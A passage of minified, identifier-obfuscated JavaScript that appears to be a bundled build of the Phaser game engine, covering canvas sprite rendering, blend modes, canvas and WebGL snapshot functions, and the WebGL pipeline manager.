_0x4f7be9; _0x29b11e++) { var _0x3a3c24 = _0x7bd12d[_0x29b11e]; _0x3a3c24['mask'] && _0x3a3c24['mask']['preRenderCanvas'](this, _0x3a3c24, _0x527229), _0x3a3c24['renderCanvas'](this, _0x3a3c24, _0x527229), _0x3a3c24['mask'] && _0x3a3c24['mask']['postRenderCanvas'](this, _0x3a3c24, _0x527229); } _0x5d25e4['setTransform'](0x1, 0x0, 0x0, 0x1, 0x0, 0x0), _0x5d25e4['globalCompositeOperation'] = 'source-over', _0x5d25e4['globalAlpha'] = 0x1, _0x527229['flashEffect']['postRenderCanvas'](_0x5d25e4), _0x527229['fadeEffect']['postRenderCanvas'](_0x5d25e4), _0x527229['dirty'] = !0x1, _0x2647e9 && _0x2647e9['postRenderCanvas'](this), _0x5d25e4['restore'](), _0x527229['renderToTexture'] && (_0x527229['emit'](_0x2549b4['POST_RENDER'], _0x527229), _0x527229['renderToGame'] && _0x204970['sys']['context']['drawImage'](_0x527229['canvas'], _0x196635, _0x546a3c)), _0x527229['emit'](_0x2549b4['POST_RENDER'], _0x527229); }, 'postRender': function () { this['gameContext']['restore'](), this['emit'](_0x16ad52['POST_RENDER']); var _0x504568 = this['snapshotState']; _0x504568['callback'] && (_0x39a0b8(this['gameCanvas'], _0x504568), _0x504568['callback'] = null); }, 'snapshotCanvas': function (_0x5e36d7, _0x4400b2, _0x58b9e6, _0x336c2a, _0x1417b6, _0x2e80c0, _0x3d5c86, _0x30f0c3, _0x57b470) { void 0x0 === _0x58b9e6 && (_0x58b9e6 = !0x1), this['snapshotArea'](_0x336c2a, _0x1417b6, _0x2e80c0, _0x3d5c86, _0x4400b2, _0x30f0c3, _0x57b470); var _0x501565 = this['snapshotState']; return _0x501565['getPixel'] = _0x58b9e6, _0x39a0b8(_0x5e36d7, _0x501565), _0x501565['callback'] = null, this; }, 'snapshot': function (_0x348456, _0x173d95, _0x1b33f1) { return this['snapshotArea'](0x0, 0x0, this['gameCanvas']['width'], this['gameCanvas']['height'], _0x348456, _0x173d95, _0x1b33f1); }, 'snapshotArea': function (_0x4ffe01, _0x3149ae, _0x3c62ac, _0x2407cb, _0x214b8f, _0x2ad0a5, _0x3171dc) { var _0x584355 = this['snapshotState']; return _0x584355['callback'] = _0x214b8f, _0x584355['type'] = _0x2ad0a5, _0x584355['encoder'] = _0x3171dc, _0x584355['getPixel'] = !0x1, _0x584355['x'] = _0x4ffe01, _0x584355['y'] = _0x3149ae, _0x584355['width'] = Math['min'](_0x3c62ac, this['gameCanvas']['width']), _0x584355['height'] = Math['min'](_0x2407cb, this['gameCanvas']['height']), this; }, 'snapshotPixel': function (_0x2ac0f4, _0x1894ee, _0x34b2d2) { return this['snapshotArea'](_0x2ac0f4, _0x1894ee, 0x1, 0x1, _0x34b2d2), this['snapshotState']['getPixel'] = !0x0, this; }, 'batchSprite': function (_0x28c09b, _0xbf2a05, _0x1e607e, _0x1db434) { var _0x30a988 = _0x1e607e['alpha'] * _0x28c09b['alpha']; if (0x0 !== _0x30a988) { var _0x3657bc = this['currentContext'], _0x5d2278 = this['_tempMatrix1'], _0x51bb0e = this['_tempMatrix2'], _0x1e433b = _0xbf2a05['canvasData'], _0x4f09d1 = _0x1e433b['x'], _0x4a17c0 = _0x1e433b['y'], _0x46b9ff = _0xbf2a05['cutWidth'], _0x1f6e07 = _0xbf2a05['cutHeight'], _0x253ec3 = _0xbf2a05['customPivot'], _0x4162e5 = _0xbf2a05['source']['resolution'], _0x3faa28 = _0x28c09b['displayOriginX'], _0x9e2edc = _0x28c09b['displayOriginY'], _0x341c39 = -_0x3faa28 + _0xbf2a05['x'], _0x3f7b10 = -_0x9e2edc + _0xbf2a05['y']; if (_0x28c09b['isCropped']) { var _0x1385a = _0x28c09b['_crop']; _0x1385a['flipX'] === _0x28c09b['flipX'] && _0x1385a['flipY'] === _0x28c09b['flipY'] || _0xbf2a05['updateCropUVs'](_0x1385a, _0x28c09b['flipX'], _0x28c09b['flipY']), _0x46b9ff = _0x1385a['cw'], _0x1f6e07 = _0x1385a['ch'], _0x4f09d1 = _0x1385a['cx'], _0x4a17c0 = _0x1385a['cy'], _0x341c39 = -_0x3faa28 + _0x1385a['x'], _0x3f7b10 = -_0x9e2edc + _0x1385a['y'], _0x28c09b['flipX'] && (_0x341c39 >= 0x0 ? _0x341c39 = -(_0x341c39 + _0x46b9ff) : _0x341c39 < 0x0 && (_0x341c39 = Math['abs'](_0x341c39) - _0x46b9ff)), _0x28c09b['flipY'] && (_0x3f7b10 >= 0x0 ? _0x3f7b10 = -(_0x3f7b10 + _0x1f6e07) : _0x3f7b10 < 0x0 && (_0x3f7b10 = Math['abs'](_0x3f7b10) - _0x1f6e07)); } var _0x5e87fc = 0x1, _0x2a6756 = 0x1; _0x28c09b['flipX'] && (_0x253ec3 || (_0x341c39 += -_0xbf2a05['realWidth'] + 0x2 * _0x3faa28), _0x5e87fc = -0x1), _0x28c09b['flipY'] && (_0x253ec3 || (_0x3f7b10 += -_0xbf2a05['realHeight'] + 0x2 * _0x9e2edc), _0x2a6756 = -0x1); var _0x25c410 = _0x28c09b['x'], _0x45a604 = _0x28c09b['y']; if (_0x1e607e['roundPixels'] && (_0x25c410 = Math['floor'](_0x25c410), _0x45a604 = Math['floor'](_0x45a604)), _0x51bb0e['applyITRS'](_0x25c410, _0x45a604, _0x28c09b['rotation'], _0x28c09b['scaleX'] * _0x5e87fc, _0x28c09b['scaleY'] * _0x2a6756), _0x5d2278['copyFrom'](_0x1e607e['matrix']), _0x1db434 ? (_0x5d2278['multiplyWithOffset'](_0x1db434, -_0x1e607e['scrollX'] * _0x28c09b['scrollFactorX'], -_0x1e607e['scrollY'] * _0x28c09b['scrollFactorY']), _0x51bb0e['e'] = _0x25c410, _0x51bb0e['f'] = _0x45a604) : (_0x51bb0e['e'] -= _0x1e607e['scrollX'] * _0x28c09b['scrollFactorX'], _0x51bb0e['f'] -= _0x1e607e['scrollY'] * _0x28c09b['scrollFactorY']), _0x5d2278['multiply'](_0x51bb0e), _0x1e607e['renderRoundPixels'] && (_0x5d2278['e'] = Math['floor'](_0x5d2278['e'] + 0.5), _0x5d2278['f'] = Math['floor'](_0x5d2278['f'] + 0.5)), _0x3657bc['save'](), _0x5d2278['setToContext'](_0x3657bc), _0x3657bc['globalCompositeOperation'] = this['blendModes'][_0x28c09b['blendMode']], _0x3657bc['globalAlpha'] = _0x30a988, _0x3657bc['imageSmoothingEnabled'] = !_0xbf2a05['source']['scaleMode'], _0x28c09b['mask'] && _0x28c09b['mask']['preRenderCanvas'](this, _0x28c09b, _0x1e607e), _0x46b9ff > 0x0 && _0x1f6e07 > 0x0) { var _0x84e477 = _0x46b9ff / _0x4162e5, _0x1925e3 = _0x1f6e07 / _0x4162e5; _0x1e607e['roundPixels'] && (_0x341c39 = Math['floor'](_0x341c39 + 0.5), _0x3f7b10 = Math['floor'](_0x3f7b10 + 0.5), _0x84e477 += 0.5, _0x1925e3 += 0.5), _0x3657bc['drawImage'](_0xbf2a05['source']['image'], _0x4f09d1, _0x4a17c0, _0x46b9ff, _0x1f6e07, _0x341c39, _0x3f7b10, _0x84e477, _0x1925e3); } _0x28c09b['mask'] && _0x28c09b['mask']['postRenderCanvas'](this, _0x28c09b, _0x1e607e), _0x3657bc['restore'](); } }, 'destroy': function () { this['removeAllListeners'](), this['game'] = null, this['gameCanvas'] = null, this['gameContext'] = null; } }); _0x1cb565['exports'] = _0x19c894; }, 0xda16: (_0x3439a4, _0x4d7c76, _0x2ebfb3) => { _0x3439a4['exports'] = { 'CanvasRenderer': _0x2ebfb3(0x10c13), 'GetBlendModes': _0x2ebfb3(0xdc35), 'SetTransform': _0x2ebfb3(0x51be) }; }, 0xdc35: (_0x86599f, _0x3ac78c, _0x43f0ba) => { var _0x11459b = _0x43f0ba(0x2848), _0x251702 = _0x43f0ba(0x15cc9); _0x86599f['exports'] = function () { var _0x47d8c4 = [], _0x5894b5 = _0x251702['supportNewBlendModes'], _0x16fcc7 = 'source-over'; return _0x47d8c4[_0x11459b['NORMAL']] = _0x16fcc7, _0x47d8c4[_0x11459b['ADD']] = 'lighter', _0x47d8c4[_0x11459b['MULTIPLY']] = _0x5894b5 ? 'multiply' : _0x16fcc7, _0x47d8c4[_0x11459b['SCREEN']] = _0x5894b5 ? 'screen' : _0x16fcc7, _0x47d8c4[_0x11459b['OVERLAY']] = _0x5894b5 ? 'overlay' : _0x16fcc7, _0x47d8c4[_0x11459b['DARKEN']] = _0x5894b5 ? 'darken' : _0x16fcc7, _0x47d8c4[_0x11459b['LIGHTEN']] = _0x5894b5 ? 'lighten' : _0x16fcc7, _0x47d8c4[_0x11459b['COLOR_DODGE']] = _0x5894b5 ? 'color-dodge' : _0x16fcc7, _0x47d8c4[_0x11459b['COLOR_BURN']] = _0x5894b5 ? 'color-burn' : _0x16fcc7, _0x47d8c4[_0x11459b['HARD_LIGHT']] = _0x5894b5 ? 'hard-light' : _0x16fcc7, _0x47d8c4[_0x11459b['SOFT_LIGHT']] = _0x5894b5 ? 'soft-light' : _0x16fcc7, _0x47d8c4[_0x11459b['DIFFERENCE']] = _0x5894b5 ? 'difference' : _0x16fcc7, _0x47d8c4[_0x11459b['EXCLUSION']] = _0x5894b5 ? 'exclusion' : _0x16fcc7, _0x47d8c4[_0x11459b['HUE']] = _0x5894b5 ? 'hue' : _0x16fcc7, _0x47d8c4[_0x11459b['SATURATION']] = _0x5894b5 ? 'saturation' : _0x16fcc7, _0x47d8c4[_0x11459b['COLOR']] = _0x5894b5 ? 'color' : _0x16fcc7, _0x47d8c4[_0x11459b['LUMINOSITY']] = _0x5894b5 ? 'luminosity' : _0x16fcc7, _0x47d8c4[_0x11459b['ERASE']] = 'destination-out', _0x47d8c4[_0x11459b['SOURCE_IN']] = 'source-in', _0x47d8c4[_0x11459b['SOURCE_OUT']] = 'source-out', _0x47d8c4[_0x11459b['SOURCE_ATOP']] = 'source-atop', _0x47d8c4[_0x11459b['DESTINATION_OVER']] = 'destination-over', _0x47d8c4[_0x11459b['DESTINATION_IN']] = 'destination-in', _0x47d8c4[_0x11459b['DESTINATION_OUT']] = 'destination-out', _0x47d8c4[_0x11459b['DESTINATION_ATOP']] = 'destination-atop', _0x47d8c4[_0x11459b['LIGHTER']] = 'lighter', _0x47d8c4[_0x11459b['COPY']] = 'copy', _0x47d8c4[_0x11459b['XOR']] = 'xor', _0x47d8c4; }; }, 0x51be: (_0x34a21e, _0x232485, _0x570060) => { var _0x2a94c2 = _0x570060(0x164a0); _0x34a21e['exports'] = function (_0x3e9b29, _0x34be52, _0x351c84, _0x1b26fb, _0x3fae2b) { var _0x165009 = _0x1b26fb['alpha'] * _0x351c84['alpha']; if (_0x165009 <= 0x0) return !0x1; var _0x23f11a = _0x2a94c2(_0x351c84, _0x1b26fb, _0x3fae2b)['calc']; return _0x34be52['globalCompositeOperation'] = _0x3e9b29['blendModes'][_0x351c84['blendMode']], _0x34be52['globalAlpha'] = _0x165009, _0x34be52['save'](), _0x23f11a['setToContext'](_0x34be52), _0x34be52['imageSmoothingEnabled'] = _0x351c84['frame'] ? !_0x351c84['frame']['source']['scaleMode'] : _0x3e9b29['antialias'], !0x0; }; }, 0xf99b: _0x25de76 => { _0x25de76['exports'] = 'losewebgl'; }, 0x17e7: _0x273da4 => { _0x273da4['exports'] = 'postrender'; }, 0xbbc6: _0x5e5bd6 => { _0x5e5bd6['exports'] = 'prerender'; }, 0x3d18: _0xcb33fa => { _0xcb33fa['exports'] = 'render'; }, 0x22d0: _0xa81483 => { _0xa81483['exports'] = 'resize'; }, 0x15454: _0x7fa4ff => { _0x7fa4ff['exports'] = 'restorewebgl'; }, 0x16957: (_0x319230, _0xb7facd, _0x656688) => { _0x319230['exports'] = { 'LOSE_WEBGL': _0x656688(0xf99b), 'POST_RENDER': _0x656688(0x17e7), 'PRE_RENDER': _0x656688(0xbbc6), 'RENDER': _0x656688(0x3d18), 'RESIZE': _0x656688(0x22d0), 'RESTORE_WEBGL': _0x656688(0x15454) }; }, 0x902d: (_0x36c459, _0x22a6ee, _0x49e769) => { _0x36c459['exports'] = { 'Events': _0x49e769(0x16957), 'Snapshot': _0x49e769(0x15f6e) }, _0x36c459['exports']['Canvas'] = _0x49e769(0xda16), _0x36c459['exports']['WebGL'] = _0x49e769(0x103f); }, 0x8070: (_0x2cfe15, _0x136017, _0x1f46c6) => { var _0x38bbfe = _0x1f46c6(0x6d0f), _0x4a758f = _0x1f46c6(0xa01b), _0x4f3aa0 = _0x1f46c6(0x17534); _0x2cfe15['exports'] = function (_0x4ab939, _0x23d06b) { var _0x31f927 = _0x4f3aa0(_0x23d06b, 'callback'), _0x593cf8 = _0x4f3aa0(_0x23d06b, 'type', 'image/png'), _0x41ddd4 = _0x4f3aa0(_0x23d06b, 'encoder', 0.92), _0x3baf37 = Math['abs'](Math['round'](_0x4f3aa0(_0x23d06b, 'x', 0x0))), _0x55f50a = Math['abs'](Math['round'](_0x4f3aa0(_0x23d06b, 'y', 0x0))), _0x3d290a = Math['floor'](_0x4f3aa0(_0x23d06b, 'width', _0x4ab939['width'])), _0x2aaf71 = Math['floor'](_0x4f3aa0(_0x23d06b, 'height', _0x4ab939['height'])); if (_0x4f3aa0(_0x23d06b, 'getPixel', !0x1)) { var _0x437d5d = _0x4ab939['getContext']('2d', { 'willReadFrequently': !0x1 })['getImageData'](_0x3baf37, _0x55f50a, 0x1, 0x1)['data']; _0x31f927['call'](null, new _0x4a758f(_0x437d5d[0x0], _0x437d5d[0x1], _0x437d5d[0x2], _0x437d5d[0x3])); } else { if (0x0 !== _0x3baf37 || 0x0 !== _0x55f50a || _0x3d290a !== _0x4ab939['width'] || _0x2aaf71 !== _0x4ab939['height']) { var _0x451a77 = _0x38bbfe['createWebGL'](this, _0x3d290a, _0x2aaf71), _0x57a472 = _0x451a77['getContext']('2d', { 'willReadFrequently': !0x0 }); _0x3d290a > 0x0 && _0x2aaf71 > 0x0 && _0x57a472['drawImage'](_0x4ab939, _0x3baf37, _0x55f50a, _0x3d290a, _0x2aaf71, 0x0, 0x0, _0x3d290a, _0x2aaf71); var _0x5780e8 = new Image(); _0x5780e8['onerror'] = function () { _0x31f927['call'](null), _0x38bbfe['remove'](_0x451a77); }, _0x5780e8['onload'] = function () { _0x31f927['call'](null, _0x5780e8), _0x38bbfe['remove'](_0x451a77); }, _0x5780e8['src'] = _0x451a77['toDataURL'](_0x593cf8, _0x41ddd4); } else { var _0x5384b2 = new Image(); _0x5384b2['onerror'] = function () { _0x31f927['call'](null); }, _0x5384b2['onload'] = function () { _0x31f927['call'](null, _0x5384b2); }, _0x5384b2['src'] = _0x4ab939['toDataURL'](_0x593cf8, _0x41ddd4); } } }; }, 0x15aef: (_0xf8f62f, _0x32949e, _0xc6476b) => { var _0x2c4601 = _0xc6476b(0x6d0f), _0x464937 = _0xc6476b(0xa01b), _0x1b21d5 = _0xc6476b(0x17534); _0xf8f62f['exports'] = function (_0x68be0e, _0x4390c6) { var _0x22a24f = _0x68be0e, _0x5b92e2 = _0x1b21d5(_0x4390c6, 'callback'), _0x3e9e6f = _0x1b21d5(_0x4390c6, 'type', 'image/png'), _0x3994c1 = _0x1b21d5(_0x4390c6, 'encoder', 0.92), _0x476dcc = Math['abs'](Math['round'](_0x1b21d5(_0x4390c6, 'x', 0x0))), _0x3d5aea = Math['abs'](Math['round'](_0x1b21d5(_0x4390c6, 'y', 0x0))), _0x26a7ef = _0x1b21d5(_0x4390c6, 'getPixel', !0x1), _0x37411a = _0x1b21d5(_0x4390c6, 'isFramebuffer', !0x1), _0x128834 = _0x37411a ? _0x1b21d5(_0x4390c6, 'bufferWidth', 0x1) : _0x22a24f['drawingBufferWidth'], _0x2b0482 = _0x37411a ? _0x1b21d5(_0x4390c6, 'bufferHeight', 0x1) : _0x22a24f['drawingBufferHeight']; if (_0x26a7ef) { var _0x20d313 = new Uint8Array(0x4), _0x3de8a3 = _0x37411a ? _0x3d5aea : _0x2b0482 - _0x3d5aea; _0x22a24f['readPixels'](_0x476dcc, _0x3de8a3, 0x1, 0x1, _0x22a24f['RGBA'], _0x22a24f['UNSIGNED_BYTE'], _0x20d313), _0x5b92e2['call'](null, new _0x464937(_0x20d313[0x0], _0x20d313[0x1], _0x20d313[0x2], _0x20d313[0x3])); } else { var _0x3d9ca9 = Math['floor'](_0x1b21d5(_0x4390c6, 'width', _0x128834)), _0x49e3d1 = Math['floor'](_0x1b21d5(_0x4390c6, 'height', _0x2b0482)), _0x42c592 = _0x3d9ca9 * _0x49e3d1 * 0x4, _0x48de0d = new Uint8Array(_0x42c592); _0x22a24f['readPixels'](_0x476dcc, _0x2b0482 - _0x3d5aea - _0x49e3d1, _0x3d9ca9, _0x49e3d1, _0x22a24f['RGBA'], _0x22a24f['UNSIGNED_BYTE'], _0x48de0d); for (var _0x1ffbeb = _0x2c4601['createWebGL'](this, _0x3d9ca9, _0x49e3d1), _0x244dcf = _0x1ffbeb['getContext']('2d', { 'willReadFrequently': !0x0 }), _0xd98170 = _0x244dcf['getImageData'](0x0, 0x0, _0x3d9ca9, _0x49e3d1), _0x5622a3 = _0xd98170['data'], _0x39dcb0 = 0x0; _0x39dcb0 < _0x49e3d1; _0x39dcb0++)for (var _0x4fcfed = 0x0; _0x4fcfed < _0x3d9ca9; _0x4fcfed++) { var _0x11e490 = 0x4 * ((_0x49e3d1 - _0x39dcb0 - 0x1) * _0x3d9ca9 + _0x4fcfed), _0x3b6631 = _0x37411a ? _0x42c592 - 0x4 * (_0x39dcb0 * _0x3d9ca9 + (_0x3d9ca9 - _0x4fcfed)) : 0x4 * (_0x39dcb0 * _0x3d9ca9 + _0x4fcfed); _0x5622a3[_0x3b6631 + 0x0] = _0x48de0d[_0x11e490 + 0x0], _0x5622a3[_0x3b6631 + 0x1] = _0x48de0d[_0x11e490 + 0x1], _0x5622a3[_0x3b6631 + 0x2] = _0x48de0d[_0x11e490 + 0x2], _0x5622a3[_0x3b6631 + 0x3] = _0x48de0d[_0x11e490 + 0x3]; } _0x244dcf['putImageData'](_0xd98170, 0x0, 0x0); var _0x130eb8 = new Image(); _0x130eb8['onerror'] = function () { _0x5b92e2['call'](null), _0x2c4601['remove'](_0x1ffbeb); }, _0x130eb8['onload'] = function () { _0x5b92e2['call'](null, _0x130eb8), _0x2c4601['remove'](_0x1ffbeb); }, _0x130eb8['src'] = _0x1ffbeb['toDataURL'](_0x3e9e6f, _0x3994c1); } }; }, 0x15f6e: (_0xea4128, _0x15cbd0, _0x5a74cc) => { _0xea4128['exports'] = { 'Canvas': _0x5a74cc(0x8070), 'WebGL': _0x5a74cc(0x15aef) }; }, 0x1d6a: (_0x49f318, _0x8e3f44, _0x5b4ce8) => { var _0x535f73 = _0x5b4ce8(0x145db), _0x4f262f = _0x5b4ce8(0x8cdc), _0x5d3546 = _0x5b4ce8(0x160da), _0x4e8678 = _0x5b4ce8(0x14158), _0x4fc343 = _0x5b4ce8(0x17534), _0x3c65a7 = _0x5b4ce8(0x7e2e), _0x3e1aa3 = _0x5b4ce8(0xf7d8), _0x3bd63c = _0x5b4ce8(0x7a46), _0x1c95ef = _0x5b4ce8(0xe626), _0x241a4b = _0x5b4ce8(0x39db), _0x2f8f74 = _0x5b4ce8(0x169eb), _0x2b1d3e = _0x5b4ce8(0x17939), _0x5ea87a = _0x5b4ce8(0xdccf), _0x310de0 = _0x5b4ce8(0xe0ac), _0x2db57 = _0x5b4ce8(0xa9af), _0x2b2339 = _0x5b4ce8(0x13c91), _0x769985 = _0x5b4ce8(0x3061), _0x2c64da = _0x5b4ce8(0x1da5), _0x3e9bd9 = _0x5b4ce8(0x174c4), _0xcad5d7 = _0x5b4ce8(0x11cc9), _0x447280 = new _0x535f73({ 'initialize': function (_0x286879) { this['game'] = _0x286879['game'], this['renderer'] = _0x286879, this['classes'] = new _0x5d3546([[_0x4f262f['UTILITY_PIPELINE'], _0x2c64da], [_0x4f262f['MULTI_PIPELINE'], _0x310de0], [_0x4f262f['BITMAPMASK_PIPELINE'], _0x3bd63c], [_0x4f262f['SINGLE_PIPELINE'], _0x769985], [_0x4f262f['ROPE_PIPELINE'], _0x2b2339], [_0x4f262f['LIGHT_PIPELINE'], _0x2b1d3e], [_0x4f262f['POINTLIGHT_PIPELINE'], _0x2db57], [_0x4f262f['MOBILE_PIPELINE'], _0x5ea87a]]), this['postPipelineClasses'] = new _0x5d3546(), this['pipelines'] = new _0x5d3546(), this['postPipelineInstances'] = [], this['default'] = null, this['current'] = null, this['previous'] = null, this['MULTI_PIPELINE'] = null, this['BITMAPMASK_PIPELINE'] = null, this['UTILITY_PIPELINE'] = null, this['MOBILE_PIPELINE'] = null, this['FX_PIPELINE'] = null, this['fullFrame1'], this['fullFrame2'], this['halfFrame1'], this['halfFrame2'], this['renderTargets'] = [], this['maxDimension'] = 0x0, this['frameInc'] = 0x20, this['targetIndex'] = 0x0; }, 'boot': function (_0x32a6a6, _0x700a1f, _0x5d9c5e) { var _0x320bce = this['renderer'], _0x424517 = this['renderTargets']; this['frameInc'] = Math['floor'](_0x4fc343(_0x32a6a6, 'frameInc', 0x20)); var _0x4b872a, _0x54af7b, _0x526b1e = _0x320bce['width'], _0x25d43a = _0x320bce['height'], _0x872fae = this['game']['config']['disablePreFX']; if (this['game']['config']['disablePostFX'] || this['postPipelineClasses']['setAll']([[String(_0x241a4b['BARREL']), _0x1c95ef['Barrel']], [String(_0x241a4b['BLOOM']), _0x1c95ef['Bloom']], [String(_0x241a4b['BLUR']), _0x1c95ef['Blur']], [String(_0x241a4b['BOKEH']), _0x1c95ef['Bokeh']], [String(_0x241a4b['CIRCLE']), _0x1c95ef['Circle']], [String(_0x241a4b['COLOR_MATRIX']), _0x1c95ef['ColorMatrix']], [String(_0x241a4b['DISPLACEMENT']), _0x1c95ef['Displacement']], [String(_0x241a4b['GLOW']), _0x1c95ef['Glow']], [String(_0x241a4b['GRADIENT']), _0x1c95ef['Gradient']], [String(_0x241a4b['PIXELATE']), _0x1c95ef['Pixelate']], [String(_0x241a4b['SHADOW']), _0x1c95ef['Shadow']], [String(_0x241a4b['SHINE']), _0x1c95ef['Shine']], [String(_0x241a4b['VIGNETTE']), _0x1c95ef['Vignette']], [String(_0x241a4b['WIPE']), _0x1c95ef['Wipe']]]), !_0x872fae) { this['classes']['set'](_0x4f262f['FX_PIPELINE'], _0x2f8f74); for (var _0x1e6c97 = Math['min'](_0x526b1e, _0x25d43a), _0x5ce34a = Math['ceil'](_0x1e6c97 / this['frameInc']), _0x54335f = 0x1; _0x54335f < _0x5ce34a; _0x54335f++) { var _0x924ad2 = _0x54335f * this['frameInc']; _0x424517['push'](new _0x3c65a7(_0x320bce, _0x924ad2, _0x924ad2)), _0x424517['push'](new _0x3c65a7(_0x320bce, _0x924ad2, _0x924ad2)), _0x424517['push'](new _0x3c65a7(_0x320bce, _0x924ad2, _0x924ad2)), this['maxDimension'] = _0x924ad2; } _0x424517['push'](new _0x3c65a7(_0x320bce, _0x526b1e, _0x25d43a, 0x1, 0x0, !0x0, !0x0)), _0x424517['push'](new _0x3c65a7(_0x320bce, _0x526b1e, _0x25d43a, 0x1, 0x0, !0x0, !0x0)), _0x424517['push'](new _0x3c65a7(_0x320bce, _0x526b1e, _0x25d43a, 0x1, 0x0, !0x0, !0x0)); } var _0x1ed7ca = this, _0x2f62f1 = this['game']; if (this['classes']['each'](function (_0x168a2c, _0x43b21a) { _0x4b872a = _0x1ed7ca['add'](_0x168a2c, new _0x43b21a({ 'game': _0x2f62f1 })), _0x168a2c === _0x4f262f['UTILITY_PIPELINE'] && (_0x1ed7ca['UTILITY_PIPELINE'] = _0x4b872a, _0x1ed7ca['fullFrame1'] = _0x4b872a['fullFrame1'], _0x1ed7ca['fullFrame2'] = _0x4b872a['fullFrame2'], _0x1ed7ca['halfFrame1'] = _0x4b872a['halfFrame1'], _0x1ed7ca['halfFrame2'] = _0x4b872a['halfFrame2']); }), this['MULTI_PIPELINE'] = this['get'](_0x4f262f['MULTI_PIPELINE']), this['BITMAPMASK_PIPELINE'] = this['get'](_0x4f262f['BITMAPMASK_PIPELINE']), this['MOBILE_PIPELINE'] = this['get'](_0x4f262f['MOBILE_PIPELINE']), _0x872fae || (this['FX_PIPELINE'] = this['get'](_0x4f262f['FX_PIPELINE'])), _0x32a6a6) for (_0x54af7b in _0x32a6a6) { var _0x5a74a1 = _0x32a6a6[_0x54af7b]; (_0x4b872a = new _0x5a74a1(_0x2f62f1))['name'] = _0x54af7b, _0x4b872a['isPostFX'] ? this['postPipelineClasses']['set'](_0x54af7b, _0x5a74a1) : this['has'](_0x54af7b) || (this['classes']['set'](_0x54af7b, _0x5a74a1), this['add'](_0x54af7b, _0x4b872a)); } this['default'] = this['get'](_0x700a1f), _0x5d9c5e && !_0x4e8678['os']['desktop'] && (this['default'] = this['MOBILE_PIPELINE']); }, 'setDefaultPipeline': function (_0x3abe27) { var _0x332784 = this['get'](_0x3abe27); return _0x332784 && (this['default'] = _0x332784), _0x332784; }, 'add': function (_0x570769, _0x1e5a85) { if (!_0x1e5a85['isPostFX']) { var _0xf826ae = this['pipelines'], _0x39bdc1 = this['renderer']; return _0xf826ae['has'](_0x570769) || (_0x1e5a85['name'] = _0x570769, _0x1e5a85['manager'] = this, _0xf826ae['set'](_0x570769, _0x1e5a85)), _0x1e5a85['hasBooted'] || _0x1e5a85['boot'](), 0x0 === _0x39bdc1['width'] || 0x0 === _0x39bdc1['height'] || _0x1e5a85['isPreFX'] || _0x1e5a85['resize'](_0x39bdc1['width'], _0x39bdc1['height']), _0x1e5a85; } }, 'addPostPipeline': function (_0x4f9b44, _0x1fc372) { this['postPipelineClasses']['has'](_0x4f9b44) || this['postPipelineClasses']['set'](_0x4f9b44, _0x1fc372); }, 'flush': function () { this['current'] && this['current']['flush'](); }, 'has': function (_0x4daf6e) { var _0x703b0e = this['pipelines']; return 'string' == typeof _0x4daf6e ? _0x703b0e['has'](_0x4daf6e) : !!_0x703b0e['contains'](_0x4daf6e); }, 'get': function (_0x143b66) { var _0x4e033e = this['pipelines']; return 'string' == typeof _0x143b66 ? _0x4e033e['get'](_0x143b66) : _0x4e033e['contains'](_0x143b66) ? _0x143b66 : void 0x0; }, 'getPostPipeline': function (_0x1655c9, _0x2b5ed6, _0x37b34a) { var _0x46b0fe, _0x1e58ef = this['postPipelineClasses'], _0x1232a0 = '', _0x2810b4 = typeof _0x1655c9; if ('string' === _0x2810b4 || 'number' === _0x2810b4 ? (_0x46b0fe = _0x1e58ef['get'](_0x1655c9), _0x1232a0 = _0x1655c9) : 'function' === _0x2810b4 ? (_0x1e58ef['contains'](_0x1655c9) && (_0x46b0fe = _0x1655c9), _0x1232a0 = _0x1655c9['name']) : 'object' === _0x2810b4 && (_0x46b0fe = _0x1e58ef['get'](_0x1655c9['name']), _0x1232a0 = _0x1655c9['name']), _0x46b0fe) { var _0xec8113 = new _0x46b0fe(this['game'], _0x37b34a); return _0xec8113['name'] = _0x1232a0, _0x2b5ed6 && (_0xec8113['gameObject'] = _0x2b5ed6), this['postPipelineInstances']['push'](_0xec8113), _0xec8113; } }, 'removePostPipeline': function (_0x36b076) { _0xcad5d7(this['postPipelineInstances'], _0x36b076); }, 'remove': function (_0x33b49d, _0x4326a4, _0x108c5b) { void 0x0 === _0x4326a4 && (_0x4326a4 = !0x0), void 0x0 === _0x108c5b && (_0x108c5b = !0x0), this['pipelines']['delete'](_0x33b49d), _0x4326a4 && this['classes']['delete'](_0x33b49d), _0x108c5b && this['postPipelineClasses']['delete'](_0x33b49d); }, 'set': function (_0x326c6e, _0x56c95d, _0x3ea22a) { if (!_0x326c6e['isPostFX']) return this['isCurrent'](_0x326c6e, _0x3ea22a) || (this['flush'](), this['current'] && this['current']['unbind'](), this['current'] = _0x326c6e, _0x326c6e['bind'](_0x3ea22a)), _0x326c6e['updateProjectionMatrix'](), _0x326c6e['onBind'](_0x56c95d), _0x326c6e; }, 'preBatch': function (_0x5ae6a2) { if (_0x5ae6a2['hasPostPipeline']) { this['flush'](); for (var _0x2bdf90 = _0x5ae6a2['postPipelines'], _0x3864ca = _0x2bdf90['length'] - 0x1; _0x3864ca >= 0x0; _0x3864ca--) { var _0x441b47 = _0x2bdf90[_0x3864ca]; _0x441b47['active'] && _0x441b47['preBatch'](_0x5ae6a2); } } }, 'postBatch': function (_0x4debc7) { if (_0x4debc7['hasPostPipeline']) { this['flush'](); for (var _0x1b2d19 = _0x4debc7['postPipelines'], _0x4ff75c = 0x0; _0x4ff75c < _0x1b2d19['length']; _0x4ff75c++) { var _0x2dd530 = _0x1b2d19[_0x4ff75c]; _0x2dd530['active'] && _0x2dd530['postBatch'](_0x4debc7); } } }, 'preBatchCamera': function (_0x5515b9) { if (_0x5515b9['hasPostPipeline']) { this['flush'](); for (var _0x324777 = _0x5515b9['postPipelines'], _0x10ab70 = _0x324777['length'] - 0x1; _0x10ab70 >= 0x0; _0x10ab70--) { var _0x19edba = _0x324777[_0x10ab70]; _0x19edba['active'] && _0x19edba['preBatch'](_0x5515b9); } } }, 'postBatchCamera': function (_0x265170) { if (_0x265170['hasPostPipeline']) { this['flush'](); for (var _0x2d9bf3 = _0x265170['postPipelines'], _0x5cda79 = 0x0; _0x5cda79 < _0x2d9bf3['length']; _0x5cda79++) { var _0x5a9b71 = _0x2d9bf3[_0x5cda79]; _0x5a9b71['active'] && _0x5a9b71['postBatch'](_0x265170); } } }, 'isCurrent': function (_0x6af04c, _0x428731) { var _0x5b81d5 = this['renderer'], _0xad896e = this['current']; return _0xad896e && !_0x428731 && (_0x428731 = _0xad896e['currentShader']), !(_0xad896e !== _0x6af04c || _0x428731['program'] !== _0x5b81d5['currentProgram']); }, 